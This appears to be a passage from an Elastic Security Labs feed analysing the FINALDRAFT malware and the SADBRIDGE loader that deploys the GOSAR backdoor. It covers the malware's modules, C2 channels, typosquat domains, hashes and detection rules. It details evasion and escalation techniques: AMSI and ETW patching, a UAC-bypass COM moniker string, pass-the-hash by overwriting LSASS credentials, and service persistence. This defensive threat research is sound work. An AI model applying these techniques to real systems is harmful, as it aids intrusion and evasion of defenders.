<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image12.png" alt="String comparison with command-line password" /></p>
<p>As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (<code>GetAdaptersAddresses</code>, <code>GetAdaptersInfo</code>, <code>GetNetworkParams</code>) and reading the Windows registry keypath (<code>SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces</code>). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image38.png" alt="Retrieving network adapter information" /></p>
<h4>PowerShell execution (<code>Psloader.x64.dll</code>)</h4>
<p>This module allows the operator to execute PowerShell commands without invoking the <code>powershell.exe</code> binary. The code used is taken from <a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>, a well-known open source offensive security tool.</p>
<p>To evade detection, the module first hooks the <code>EtwEventWrite</code>, <code>ReportEventW</code>, and <code>AmsiScanBuffer</code> APIs, forcing them to always return <code>0</code>, which disables ETW logging and bypasses anti-malware scans.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image20.png" alt="Patching AMSI and ETW APis" /></p>
<p>Next, the DLL loads a .NET payload (<a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>) stored in its <code>.data</code> section using the <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces">CLR Hosting technique</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image25.png" alt="Managed code of PowerPick loaded using CLR hosting technique" /></p>
<p>The module creates a named pipe (<code>\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2</code>) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed <strong>PowerPick</strong> binary is loaded and executed by the module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image26.png" alt="Managed binary of PowerPick loaded by the module" /></p>
<h4>Pass-the-Hash toolkit (<code>pnt.x64.dll</code>)</h4>
<p>This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a>, enabling lateral movement.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image45.png" alt="Decrypted strings from memory for PTH module" /></p>
<p>A password (<code>Aslire597</code>), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.</p>
<p><code>program.exe &lt;password&gt; &lt;domain&gt;\&lt;account&gt;:&lt;ntlm_hash&gt; &lt;target_process&gt;</code></p>
<p>Like the other module, it creates a named pipe, ”<code>\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9</code>”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image21.png" alt="named pipe creation for pnt.x64.dll" /></p>
<p>After establishing the pipe connection, the malware creates a target process in a suspended state using <code>CreateProcessWithLogonW</code>, identifies key structures like the <code>LogonSessionList</code> and <code>LogonSessionListCount</code> within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument.</p>
<p>Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post &quot;<a href="https://www.praetorian.com/blog/inside-mimikatz-part2/">Inside the Mimikatz Pass-the-Hash Command (Part 2)</a>&quot; by Praetorian. The result is then sent to the named pipe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image22.png" alt="Named pipe output and created process" /></p>
<h2>FINALDRAFT ELF variant</h2>
<p>During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.</p>
<h3>Additional transport channels</h3>
<p>The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:</p>
<table>
<thead>
<tr>
<th align="left">C2 communication protocols</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">HTTP/HTTPS</td>
</tr>
<tr>
<td align="left">Reverse UDP</td>
</tr>
<tr>
<td align="left">ICMP</td>
</tr>
<tr>
<td align="left">Bind TCP</td>
</tr>
<tr>
<td align="left">Reverse TCP</td>
</tr>
<tr>
<td align="left">DNS</td>
</tr>
<tr>
<td align="left">Outlook via REST API (could be communicating with an API proxy)</td>
</tr>
<tr>
<td align="left">Outlook via Graph API</td>
</tr>
</tbody>
</table>
<p><em>FINALDRAFT ELF variant C2 communication options</em></p>
<p>From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.</p>
<p>While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either <code>/var/log/installlog.log.&lt;UUID_from_config&gt;</code> or <code>/mnt/hgfsdisk.log.&lt;UUID_from_config&gt;</code> if it fails to write to the prior file.</p>
<p>Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number <code>0x1bb</code> (<code>443</code>) at offset <code>0xc8</code>, and flag for using HTTPS at offset <code>0xfc</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image2.png" alt="FINALDRAFT ELF variant configuration snippet" /></p>
<p>The domains are intentionally designed to typosquat well-known vendors, such as &quot;VMSphere&quot; (VMware vSphere). However, it's unclear which vendor &quot;Hobiter&quot; is attempting to impersonate in this instance.</p>
<table>
<thead>
<tr>
<th align="left">C2</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">support.vmphere.com</td>
</tr>
<tr>
<td align="left">update.hobiter.com</td>
</tr>
</tbody>
</table>
<p><em>Domain list</em></p>
<h3>Commands</h3>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image32.png" alt="Command handlers" /></p>
<p>All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:</p>
<ul>
<li>Hostname</li>
<li>Current logged-in user</li>
<li>Intranet IP address</li>
<li>External IP address</li>
<li>Gateway IP address</li>
<li>System boot time</li>
<li>Operating system name and version</li>
<li>Kernel version</li>
<li>System architecture</li>
<li>Machine GUID</li>
<li>List of active network connections</li>
<li>List of running processes</li>
<li>Name of current process</li>
</ul>
<h4>Command Execution</h4>
<p>While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes <code>popen</code> for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image28.png" alt="Executing shell command" /></p>
<h4>Self Deletion</h4>
<p>To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to <code>sys_readlink</code>. <code>sys_unlink</code> is then called to remove the executable file from the filesystem.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image11.png" alt="Self deletion using sys_unlink" /></p>
<h2>Older FINALDRAFT PE sample</h2>
<p>During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.</p>
<p>The name of the binary is <code>Session.x64.dll</code>, and its entrypoint export is called <code>GoogleProxy</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image5.png" alt="PE export of FINALDRAFT" /></p>
<h3>HTTP transport channel</h3>
<p>This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image59.png" alt="Choice between Outlook and HTTP transport channels" /></p>
<p>In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (<code>checkponit[.]com</code>) was registered on 2022-08-26T09:43:16Z and domain (<code>fortineat[.]com</code>) was registred on 2023-11-08T09:47:47Z.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image6.png" alt="Domains found in the configuration" /></p>
<p>The domains purposely typosquat real known vendors, <strong>CheckPoint</strong> and <strong>Fortinet</strong>, in this case.</p>
<table>
<thead>
<tr>
<th align="left">C2</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>poster.checkponit[.]com</code></td>
</tr>
<tr>
<td align="left"><code>support.fortineat[.]com</code></td>
</tr>
</tbody>
</table>
<p><em>Domain list</em></p>
<h3>Shell command</h3>
<p>An additional command exists in this sample that is not present in later versions. This command, with ID <code>1</code>, executes a shell command.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image9.png" alt="Shell command handler setup" /></p>
<p>The execution is carried out by creating a <code>cmd.exe</code> process with the <code>&quot;/c&quot;</code> parameter, followed by appending the actual command to the parameter.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image60.png" alt="Create piped cmd.exe process" /></p>
<h1>Detection</h1>
<p>Elastic Defend detects the process injection mechanism through two rules. The first rule detects the <code>WriteProcessMemory</code> API call targeting another process, which is a common behavior observed in process injection techniques.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image42.png" alt="Detecting WriteProcessMemory in FINALDRAFT process injection" /></p>
<p>The second rule detects the creation of a remote thread to execute the shellcode.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image35.png" alt="Detection of injected shellcode thread" /></p>
<p>We also detect the loading of the PowerShell engine by the <code>Psloader.x64.dll</code> module, which is injected into the known target <code>mspaint.exe</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image4.png" alt="Detection of PowerShell engine loads" /></p>
<h1>Malware and MITRE ATT&amp;CK</h1>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h2>Tactics</h2>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
</ul>
<h2>Techniques</h2>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1102/003/">Web Service: One-Way Communication</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/003/">Masquerading: Rename System Utilities</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/002/">Process Injection: Portable Executable Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1550/002/">Use Alternate Authentication Material: Pass the Hash</a></li>
<li><a href="https://attack.mitre.org/techniques/T1046/">Network Service Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1012/">Query Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/">Exfiltration Over Web Service</a></li>
</ul>
<h1>Mitigations</h1>
<h2>Detection</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/execution_unusual_powershell_engine_imageload.toml">Unusual PowerShell Engine ImageLoad</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_bypass_via_unbacked_memory.toml">AMSI Bypass via Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml">AMSI or WLDP Bypass via Memory Patching</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Service</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_execution_via_windows_command_line_debugging_utility.toml">Execution via Windows Command Line Debugging Utility</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml">Suspicious Parent-Child Relationship</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created the following YARA rules related to this post:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar">Windows.Trojan.PathLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar">Windows.Trojan.FinalDraft</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar">Linux.Trojan.FinalDraft</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar">Multi.Trojan.FinalDraft</a></li>
</ul>
<h1>Observations</h1>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Reference</th>
<th align="left">Date</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code></td>
<td align="left">SHA256</td>
<td align="left">PATHLOADER</td>
<td align="left">VT first seen: 2023-05-09 09:44:45 UTC</td>
</tr>
<tr>
<td align="left"><code>39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530</code></td>
<td align="left">SHA256</td>
<td align="left">FINALDRAFT initial sample</td>
<td align="left">Telemetry first seen: 2024-11-28 20:49:18.646</td>
</tr>
<tr>
<td align="left"><code>83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c</code></td>
<td align="left">SHA256</td>
<td align="left">FINALDRAFT ELF variant</td>
<td align="left">VT first seen: 2024-10-05 07:15:00 UTC</td>
</tr>
<tr>
<td align="left"><code>poster.checkponit[.]com</code></td>
<td align="left">domain</td>
<td align="left">PATHLOADER/FINALDRAFT domain</td>
<td align="left">Creation date: 2022-08-26T09:43:16Z  Valid until: 2025-08-26T07:00:00Z</td>
</tr>
<tr>
<td align="left"><code>support.fortineat[.]com</code></td>
<td align="left">domain</td>
<td align="left">PATHLOADER/FINALDRAFT domain</td>
<td align="left">Creation date: 2023-11-08T09:47:47Z Valid until: 2024-11-08T09:47:47.00Z</td>
</tr>
<tr>
<td align="left"><code>support.vmphere[.]com</code></td>
<td align="left">domain</td>
<td align="left">FINALDRAFT domain</td>
<td align="left">Creation date: 2023-09-12T12:35:57Z Valid until: 2025-09-12T12:35:57Z</td>
</tr>
<tr>
<td align="left"><code>update.hobiter[.]com</code></td>
<td align="left">domain</td>
<td align="left">FINALDRAFT domain</td>
<td align="left">Creation date: 2023-09-12T12:35:58Z Valid until: 2025-09-12T12:35:58Z</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/Security Labs Images 13.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite]]></title>
            <link>https://www.elastic.co/pt/security-labs/under-the-sadbridge-with-gosar</link>
            <guid>under-the-sadbridge-with-gosar</guid>
            <pubDate>Fri, 13 Dec 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs share details about the SADBRIDGE loader and GOSAR backdoor, malware used in campaigns targeting Chinese-speaking victims.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.</p>
<h3>Key takeaways</h3>
<ul>
<li>Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser</li>
<li>Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)</li>
<li>SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)</li>
<li>GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time</li>
<li>Elastic Security provides comprehensive prevention and detection capabilities against this attack chain</li>
</ul>
<h2>REF3864 Campaign Overview</h2>
<p>In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image32.png" alt="Fake Telegram landing page" /></p>
<p>During this investigation, we uncovered multiple infection chains involving similar techniques:</p>
<ul>
<li>Trojanized MSI installers with low detections</li>
<li>Masquerading using legitimate software bundled with malicious DLLs</li>
<li>Custom SADBRIDGE loader deployed</li>
<li>Final stage GOSAR loaded</li>
</ul>
<p>We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows <code>x64dbg.exe</code> debugging application is used behind-the-scenes to load a malicious, patched DLL (<code>x64bridge.dll</code>). This DLL kicks off a new legitimate program (<code>MonitoringHost.exe</code>) where it side-loads another malicious DLL (<code>HealthServiceRuntime.dll</code>), ultimately performing injection and loading the GOSAR implant in memory via injection.</p>
<p>Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as <code>360tray.exe</code>, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.</p>
<p>QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, <a href="https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf?_ga=2.196384556.1458236792.1733495919-74841447.1733495919">Evolution of Quasar RAT</a>), including by China-linked <a href="https://www.fbi.gov/wanted/cyber/apt-10-group">APT10</a>. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.</p>
<p>GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image14.png" alt="SADBRIDGE Execution Chain resulting in GOSAR infection" /></p>
<h2>SADBRIDGE Introduction</h2>
<p>The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as <code>x64dbg.exe</code> and <code>MonitoringHost.exe</code> to load malicious DLLs like <code>x64bridge.dll</code> and <code>HealthServiceRuntime.dll</code>, which leads to subsequent stages and shellcodes.</p>
<p>Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a <a href="https://github.com/0xlane/BypassUAC">UAC bypass technique</a> that abuses the <code>ICMLuaUtil</code> COM interface. In addition, SADBRIDGE incorporates a <a href="https://github.com/zcgonvh/TaskSchedulerMisc">privilege escalation bypass</a> through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.</p>
<p>The SADBRIDGE configuration is encrypted using a simple subtraction of <code>0x1</code> on each byte of the configuration string. The encrypted stages are all appended with a <code>.log</code> extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.</p>
<p>SADBRIDGE employs <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty</a>, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long <code>Sleep</code> API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW).</p>
<p>The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.</p>
<h2>SADBRIDGE Code Analysis</h2>
<h4>MSI Analysis</h4>
<p>The initial files are packaged in an MSI using <a href="https://www.advancedinstaller.com/">Advanced Installer</a>, the main files of interest are <code>x64dbg.exe</code> and <code>x64bridge.dll</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image20.png" alt="Significant files inside the MSI installer" /></p>
<p>By using MSI tooling (<a href="https://github.com/activescott/lessmsi">lessmsi</a>), we can see the <code>LaunchApp</code> entrypoint in <code>aicustact.dll</code> is configured to execute the file path specified in the <code>AI_APP_FILE</code> property.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image1.png" alt="Custom actions configured using Advanced Installer" /></p>
<p>If we navigate to this <code>AI_APP_FILE</code> property, we can see the file tied to this configuration is <code>x64dbg.exe</code>. This represents the file that will be executed after the installation is completed, the legitimate <code>NetFxRepairTool.exe</code> is never executed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image31.png" alt="AI_APP_FILE property configured to launch x64dbg.exe" /></p>
<h4>x64bridge.dll Side-loading</h4>
<p>When <code>x64dbg.exe</code> gets executed, it calls the <code>BridgeInit</code> export from <code>x64bridge.dll</code>. <code>BridgeInit</code> is a wrapper for the <code>BridgeStart</code> function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image30.png" alt="Control flow diagram showing call to BridgeStart" /></p>
<p>Similar to techniques observed with <a href="https://www.elastic.co/pt/security-labs/blister-loader">BLISTER</a>, SADBRIDGE patches the export of a legitimate DLL.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image7.png" alt="Comparison of BridgeStart export from x64bridge.dll" /></p>
<p>During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed <code>0x4E67C6A7</code>. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to <code>C:\Users\Public\Documents\&lt;hostname_hash&gt;\edbtmp.log</code>. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN  to hide itself from an ordinary directory listing.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image8.png" alt="Configuration file hidden from users" /></p>
<p>Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by <code>0x1</code>.</p>
<p>The configuration consists of:</p>
<ul>
<li>Possible campaign date</li>
<li>Strings to be used for creating services</li>
<li>New name for MonitoringHost.exe (<code>DevQueryBroker.exe</code>)</li>
<li>DLL name for the DLL to be sideloaded by MonitoringHost.exe (<code>HealthServiceRuntime.dll</code>)</li>
<li>Absolute paths for additional stages (<code>.log</code> files)</li>
<li>The primary injection target for hosting GOSAR (<code>svchost.exe</code>)</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image27.png" alt="SADBRIDGE configuration" /></p>
<p>The <code>DevQueryBroker</code> directory (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\</code>) contains all of the encrypted stages (<code>.log</code> files) that are decrypted at runtime. The file (<code>DevQueryBroker.exe</code>) is a renamed copy of Microsoft legitimate application (<code>MonitoringHost.exe</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image18.png" alt="File listing of the DevQueryBroker folder" /></p>
<p>Finally, it creates a process to run <code>DevQueryBroker.exe</code> which side-loads the malicious <code>HealthServiceRuntime.dll</code> in the same folder.</p>
<h4>HealthServiceRuntime.dll</h4>
<p>This module drops both an encrypted and partially decrypted shellcode in the User’s <code>%TEMP%</code> directory. The file name for the shellcode follows the format: <code>log&lt;random_string&gt;.tmp</code>. Each byte of the partially decrypted shellcode is then decremented by <code>0x10</code> to fully decrypt. The shellcode is executed in a new thread of the same process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image10.png" alt="Decryption of a shellcode in HealthServiceRuntime.dll" /></p>
<p>The malware leverages API hashing using the same algorithm in <a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">research</a> published by SonicWall, the hashing algorithm is listed in the Appendix <a href="#appendix">section</a>. The shellcode decrypts <code>DevQueryBroker.log</code> into a PE file then performs a simple XOR operation with a single byte (<code>0x42)</code> in the first third of the file where then it decompresses the result using the LZNT1 algorithm.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image3.png" alt="Shellcode decrypting DevQueryBroker.log file" /></p>
<p>The shellcode then unmaps any existing mappings at the PE file's preferred base address using <code>NtUnmapViewOfSection</code>, ensuring that a call to <code>VirtualAlloc</code> will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific <code>.log</code> files they reference for decryption and execution.</p>
<h4>DevQueryBroker.log</h4>
<p>The malware dynamically loads <code>amsi.dll</code> to disable critical security mechanisms in Windows. It patches <code>AmsiScanBuffer</code> in <code>amsi.dll</code> by inserting instructions to modify the return value to <code>0x80070057</code>, the standardized Microsoft error code <code>E_INVALIDARG</code> indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches <code>AmsiOpenSession</code> to always return the same error code <code>E_INVALIDARG</code>. Additionally, it patches <code>EtwEventWrite</code> in <code>ntdll.dll</code>, replacing the first instruction with a <code>ret</code> instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image17.png" alt="Patching AmsiScanBuffer, AmsiOpenSession and EtwEventWrite APIs" /></p>
<p>Following the patching, an encrypted shellcode is written to <code>temp.ini</code> at path (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code>).<br />
The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the <code>SECURITY_LOCAL_SYSTEM_RID</code> and calling <code>CheckTokenMembership</code>. If not, it attempts to check for membership in the Administrators group by creating a SID using <code>SECURITY_BUILTIN_DOMAIN_RID</code> and <code>DOMAIN_ALIAS_RID_ADMINS</code> and performing a similar token membership check.</p>
<p>If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a <a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">UAC bypass mechanism</a> by leveraging the <code>ICMLuaUtil</code> COM interface. It crafts a moniker string <code>&quot;Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&quot;</code> to create an instance of the <code>CMSTPLUA</code> object with Administrator privileges. Once the object is created and the <code>ICMLuaUtil</code> interface is obtained, the malware uses the exposed <code>ShellExec</code> method of the interface to run <code>DevQueryBroker.exe</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image11.png" alt="Privilege Escalation via ICMLuaUtil COM interface" /></p>
<p>If a task or a service is not created to run <code>DevQueryBroker.exe</code> routinely, the malware checks if the Anti-Virus process <code>360tray.exe</code> is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:</p>
<ul>
<li>Service name: <strong>DevQueryBrokerService</strong><br />
Binary path name: <strong>“C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”</strong>.</li>
<li>Display name: <strong>DevQuery Background Discovery Broker Service</strong></li>
<li>Description: <strong>Enables apps to discover devices with a background task.</strong></li>
<li>Start type: <strong>Automatically at system boot</strong></li>
<li>Privileges: <strong>LocalSystem</strong></li>
</ul>
